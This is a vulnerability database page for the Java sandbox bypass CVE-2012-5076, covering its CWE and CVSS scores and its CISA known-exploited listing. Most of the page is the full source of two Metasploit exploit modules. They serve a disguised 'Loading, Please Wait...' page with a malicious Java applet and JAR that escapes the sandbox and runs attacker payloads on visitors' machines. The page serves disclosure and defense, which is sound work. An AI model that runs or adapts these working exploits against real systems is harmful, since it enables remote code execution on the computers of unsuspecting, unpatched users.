Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE Other |
No informations. |
|
CWE-284 |
Improper Access Control The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
134c704f-9b21-4f2e-91b3-4a467353bcc0 |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Oracle Java SE Sandbox Bypass Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Unknown
Added : 2022-03-27 22h00 +00:00
Action is due : 2022-04-17 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 24309
Publication date : 2013-01-23 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Applet AverageRangeStatisticImpl Remote Code Execution',
'Description' => %q{
This module abuses the AverageRangeStatisticImpl from a Java Applet to run
arbitrary Java code outside of the sandbox, a different exploit vector than the one
exploited in the wild in November of 2012. The vulnerability affects Java version
7u7 and earlier.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery at security-explorations
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-5076' ],
[ 'OSVDB', '86363' ],
[ 'BID', '56054' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-5076' ],
[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
],
'Platform' => [ 'java', 'win', 'osx', 'linux' ],
'Payload' => { 'Space' => 20480, 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 16 2012'
))
end
def setup
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "Exploit.class")
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "B.class")
@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
@exploit_class_name = rand_text_alpha("Exploit".length)
@exploit_class.gsub!("Exploit", @exploit_class_name)
super
end
def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")
case request.uri
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
jar.add_file("B.class", @loader_class)
metasploit_str = rand_text_alpha("metasploit".length)
payload_str = rand_text_alpha("payload".length)
jar.entries.each { |entry|
entry.name.gsub!("metasploit", metasploit_str)
entry.name.gsub!("Payload", payload_str)
entry.data = entry.data.gsub("metasploit", metasploit_str)
entry.data = entry.data.gsub("Payload", payload_str)
}
jar.build_manifest
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error("Failed to generate the payload.")
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource() + '/', '')
end
end
def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
html += %Q|</applet></body></html>|
return html
end
end
Exploit Database EDB-ID : 22657
Publication date : 2012-11-12 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Applet JAX-WS Remote Code Execution',
'Description' => %q{
This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java
code outside of the sandbox as exploited in the wild in November of 2012. The
vulnerability affects Java version 7u7 and earlier.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability Discovery
'juan vazquez' # metasploit module
],
'References' =>
[
[ 'CVE', '2012-5076' ],
[ 'OSVDB', '86363' ],
[ 'BID', '56054' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
[ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ]
],
'Platform' => [ 'java', 'win' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 16 2012'
))
end
def on_request_uri( cli, request )
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect(cli, get_resource() + '/', '')
return
end
print_status("#{self.name} handling request")
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
paths = [
[ "Exploit.class" ],
[ "MyPayload.class" ]
]
p = regenerate_payload(cli)
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2012-5076", path ), "rb")
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
print_status("Sending Applet.jar")
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def generate_html
jar_name = rand_text_alpha(rand(6)+3) + ".jar"
html = "<html><head></head>"
html += "<body>"
html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
html += "</applet></body></html>"
return html
end
end
Products Mentioned
Configuraton 0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Oracle>>Jre >> Version 1.7.0
Configuraton 0
Suse>>Linux_enterprise_desktop >> Version 11
References